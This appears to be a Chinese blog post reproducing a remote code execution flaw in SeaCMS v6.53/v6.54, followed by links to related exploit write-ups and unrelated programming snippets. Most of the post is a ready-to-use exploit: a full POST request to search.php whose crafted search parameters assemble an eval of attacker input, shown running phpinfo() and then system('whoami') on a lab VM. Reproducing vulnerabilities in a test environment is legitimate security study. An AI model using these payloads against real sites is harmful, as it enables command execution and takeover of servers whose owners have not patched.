海洋cms v6.53 v6.54版本漏洞复现
海洋cms v6.53 v6.54版本漏洞复现
参考链接:
今天发现freebuf上一篇海洋cms的漏洞,来复现一下。
http://www.freebuf.com/vuls/150042.html
漏洞原理:
文章里说的很清楚echoSearchPage函数中的content变量传给了parself函数,跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
通过POC可以看出,通过对参数进行了替换之后,content中已经包含了如下攻击payload:if:eval(join($_POST[9]))
跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。

使用环境:
win7 64位虚拟机 + phpstudy
seacms(v6.53).rar 在网盘里面找相应名字
网上现在最新的是6.55的已经修复了,这留个测试副本。
具体复现步骤:
下面是自建的测试网站,建站上用的phpstudy没有任何问题

安装完成界面
http://192.168.19.130/seacms/install/index.php
首页
http://192.168.19.130/seacms/
后台
http://192.168.19.130/seacms/admin/login.php?gotopage=%2Fseacms%2Fadmin%2F
这几个地址可以记录一下
网上提供的POC
POST /seacms/search.php HTTP/1.1
Host: 192.168.19.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Referer: http://192.168.19.130/seacms/search.php
Cookie: a4207_times=1; PHPSESSID=kdb0jv3umhhso2o37jbtrsk9t4
Connection: close
Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
执行结果,可见写入9[]的代码被执行

进一步利用,可以执行系统命令,剩下的就不多说了。
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");

好了,收工。
海洋cms v6.53 v6.54版本漏洞复现的更多相关文章
- 通达OA-2017版本漏洞复现
搭建环境 服务器 虚拟机系统版本:Windows Server 2016. 安装服务端 1.下载安装程序 这里我们下载的是2017版本的通达OA服务端: 2.安装程序 配置服务: 漏洞复现 1.任意文 ...
- 海洋CMS v6.53 v6.54命令执行
测试下载地址:https://pan.baidu.com/s/1jHQBKFk 至于分析实在是看的一脸懵逼就不累赘了.直接上exp POST /haiyang/upload/search.php HT ...
- NC使用练习之通达OA-2017版本漏洞复现后续
利用上一篇通达OA的漏洞环境,练习NC工具的使用. 步骤: 1.本机启动nc.exe监听端口: 确认端口是否成功监听成功: 2.用冰蝎将nc.exe上传至目标机: 3.用命令行在目标机启动nc.exe ...
- i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)
打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49 直接利用其中给出的poc /searc ...
- Solr 8.2.0最新RCE漏洞复现
漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- “百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)
题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/sea ...
- 海洋cms自带资源发布api插件和第三方资源站接入办法说明
海洋cms自带资源发布api插件和第三方资源站接入办法说明 时间:2016-07-15 13:46 来源:CMS模版网 作者:大宇 阅读:7095次 ===海洋cms自带API资源发布插件说明===* ...
- 海洋cms 模板标签手册
海洋cms采用极其简单易用的模板技术,所有标签直接调用接口,无需复杂的编码技术,让你对界面设计得心应手,请认真阅读本文档,妥善收藏. ========= 目录 =========00.相关必要说明01 ...
随机推荐
- RabbitMQ入门-路由-有选择的接受消息
比如一个日志系统,之前的处理方式呢,是各种类型(info,error,warning)的消息都发给订阅者,可是实际情况上不一定都需要.可能A需要error,其他的都不需要.那么就引入了今天的处理方式- ...
- java 文件创建 调试
BufferedWriter bw=new BufferedWriter(new FileWriter("/2.txt")); bw.write("hello" ...
- centos7 mysql-server 安装过程
官网下载安装mysql-server # wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm # rpm -i ...
- C++: 可变参数;
可变参数,即参数的个数是动态变化的, 可多可少. 1. 可变参数: 可变参数一般采用”..."表示,用在宏上表示变参宏, 如: #define WriteLine(format,...) p ...
- 访问内网(https,udp)
安装teamview 客户端. 安装vpn驱动(这里的VPN应该是A主机与B客户端分别连接上了teamview的服务器,但是本身不是局域 网,所以不能直接访问A的局域网的其他主机) 主机端A,安装主机 ...
- PHP 连接 Memcached 服务
1.需要安装php的Memcached扩展,具体安装步骤不做介绍了. 2.php连接memcached的mem.php 文件 <?php $memcache = new Memcached; $ ...
- java io系列20之 PipedReader和PipedWriter
本章,我们学习PipedReader和PipedWriter.它们和“PipedInputStream和PipedOutputStream”一样,都可以用于管道通信. PipedWriter 是字符管 ...
- python Bootstarp框架和inconfont、font-awesome使用
http://www.bootcss.com/ http://www.runoob.com/bootstrap/bootstrap-panels.html 查找基本的没问题 https://www. ...
- Linux下常用配置文件
/etc/sysconfig/network 包括主机基本网络信息,用于系统启动 /etc/sysconfig/network-script/ 此目录下是系统启动最初始化网络的信息 /etc/sysc ...
- Spark Submitting Applications浅析
Submitting Applications提交应用程序 在spark的bin目录下spark-submit脚本被用于在集群中启动应用程序.它可以通过一个统一的接口来使用Spark支持的所有集群管理 ...